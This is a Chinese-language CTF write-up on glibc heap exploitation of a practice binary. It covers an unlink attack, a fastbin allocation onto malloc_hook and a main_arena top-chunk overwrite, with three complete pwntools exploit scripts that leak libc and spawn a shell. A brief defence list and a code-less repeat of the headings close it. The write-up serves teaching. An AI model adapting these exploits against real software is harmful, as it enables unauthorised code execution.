怪套路之fastbin
字数 937 2025-08-24 10:10:13

Fastbin利用技术详解

1. 漏洞分析

1.1 程序漏洞

程序存在堆溢出漏洞,在take_note函数中:

read(0, buf[v1], 0x100uLL); // 溢出

可以输入0x100字节,存在堆溢出可能。

1.2 保护机制

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

关键点:没有开启PIE,便于利用。

2. 基础利用技术

2.1 Unlink攻击

2.1.1 原理

通过构造伪造的chunk,利用unlink操作修改指针实现任意地址写。

2.1.2 利用步骤

  1. 分配两个0x80大小的chunk和一个小的chunk
  2. 构造伪造的chunk结构:
    payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
    payload = payload.ljust(0x80)
    payload+=p64(0x80)+p64(0x90)
    
  3. 触发unlink操作:
    free(1)
    
  4. 修改指针实现任意地址读写

2.1.3 完整EXP

from pwn import *

p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def new(size):
    p.sendlineafter('please chooice :\n','1')
    p.sendlineafter('please input the size : \n',str(size))

def free(ind):
    p.sendlineafter('please chooice :\n','2')
    p.sendlineafter('which node do you want to delete\n',str(ind))

def edit(ind,content):
    p.sendlineafter('please chooice :\n','4')
    p.sendlineafter('which one do you want modify :\n',str(ind))
    p.sendafter('please input the content',content)

new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()

3. Fastbin高级利用技术

3.1 Arbitrary Alloc到malloc_hook

3.1.1 原理

利用fastbin的分配机制,通过修改fd指针指向malloc_hook-0x23,利用该地址的0x7f满足fastbin检查。

3.1.2 利用步骤

  1. 泄漏libc地址
  2. 构造fastbin链:
    new(0x60)
    free(2)
    edit(1,p64(0)*3+p64(0x71)+p64(base+3951341)) # malloc_hook-0x23
    
  3. 分配两次0x60大小的chunk,第二次将分配到目标地址

3.1.3 完整EXP

from pwn import *

p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def new(size):
    p.sendlineafter('please chooice :\n','1')
    p.sendlineafter('please input the size : \n',str(size))

def free(ind):
    p.sendlineafter('please chooice :\n','2')
    p.sendlineafter('which node do you want to delete\n',str(ind))

def edit(ind,content):
    p.sendlineafter('please chooice :\n','4')
    p.sendlineafter('which one do you want modify :\n',str(ind))
    p.sendafter('please input the content',content)

def show(ind):
    p.sendlineafter('please chooice :\n','3')
    p.sendlineafter('which node do you want to show\n',str(ind))

new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
base = leak-3951480
print hex(base)
new(0x60)
free(2)
edit(1,p64(0)*3+p64(0x71)+p64(base+3951341))
new(0x60)
new(0x60)
edit(3,'a'*0x13+'b'*8)
p.interactive()

3.2 通过main_arena修改top_chunk

3.2.1 原理

通过修改main_arena中的top chunk指针,实现任意地址分配。

3.2.2 利用步骤

  1. 泄漏libc地址
  2. 构造fastbin链:
    new(0x40)
    free(2)
    edit(1,p64(0)*3+p64(0x51)+p64(0x61))
    
  3. 修改fastbin的fd指向main_arena附近:
    new(0x50)
    free(3)
    edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
    
  4. 修改top chunk指针:
    new(0x50)
    edit(4,p64(0)*6+p64(leak-0x78))
    
  5. 分配chunk实现任意地址写

3.2.3 完整EXP

from pwn import *

p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def new(size):
    p.sendlineafter('please chooice :\n','1')
    p.sendlineafter('please input the size : \n',str(size))

def free(ind):
    p.sendlineafter('please chooice :\n','2')
    p.sendlineafter('which node do you want to delete\n',str(ind))

def edit(ind,content):
    p.sendlineafter('please chooice :\n','4')
    p.sendlineafter('which one do you want modify :\n',str(ind))
    p.sendafter('please input the content',content)

def show(ind):
    p.sendlineafter('please chooice :\n','3')
    p.sendlineafter('which node do you want to show\n',str(ind))

new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))
new(1)
edit(5,'a'*8)
p.interactive()

4. 关键点总结

  1. 泄漏地址:通过释放chunk后重新分配并读取内容泄漏libc地址
  2. 构造伪造chunk:精心构造chunk的size和指针字段以满足安全检查
  3. 利用fastbin机制
    • 利用malloc_hook-0x23处的0x7f字节绕过检查
    • 通过修改main_arena结构实现top chunk控制
  4. 稳定利用
    • 使用system('/bin/sh')比one_gadget更稳定
    • 注意环境差异可能导致one_gadget失效

5. 防御措施

  1. 开启PIE保护
  2. 使用更安全的堆分配器(如glibc 2.32+)
  3. 对用户输入进行严格长度检查
  4. 使用堆cookie等保护机制
Fastbin利用技术详解 1. 漏洞分析 1.1 程序漏洞 程序存在堆溢出漏洞,在 take_note 函数中: 可以输入0x100字节,存在堆溢出可能。 1.2 保护机制 关键点:没有开启PIE,便于利用。 2. 基础利用技术 2.1 Unlink攻击 2.1.1 原理 通过构造伪造的chunk,利用unlink操作修改指针实现任意地址写。 2.1.2 利用步骤 分配两个0x80大小的chunk和一个小的chunk 构造伪造的chunk结构: 触发unlink操作: 修改指针实现任意地址读写 2.1.3 完整EXP 3. Fastbin高级利用技术 3.1 Arbitrary Alloc到malloc_ hook 3.1.1 原理 利用fastbin的分配机制,通过修改fd指针指向 malloc_hook-0x23 ,利用该地址的0x7f满足fastbin检查。 3.1.2 利用步骤 泄漏libc地址 构造fastbin链: 分配两次0x60大小的chunk,第二次将分配到目标地址 3.1.3 完整EXP 3.2 通过main_ arena修改top_ chunk 3.2.1 原理 通过修改main_ arena中的top chunk指针,实现任意地址分配。 3.2.2 利用步骤 泄漏libc地址 构造fastbin链: 修改fastbin的fd指向main_ arena附近: 修改top chunk指针: 分配chunk实现任意地址写 3.2.3 完整EXP 4. 关键点总结 泄漏地址 :通过释放chunk后重新分配并读取内容泄漏libc地址 构造伪造chunk :精心构造chunk的size和指针字段以满足安全检查 利用fastbin机制 : 利用malloc_ hook-0x23处的0x7f字节绕过检查 通过修改main_ arena结构实现top chunk控制 稳定利用 : 使用system('/bin/sh')比one_ gadget更稳定 注意环境差异可能导致one_ gadget失效 5. 防御措施 开启PIE保护 使用更安全的堆分配器(如glibc 2.32+) 对用户输入进行严格长度检查 使用堆cookie等保护机制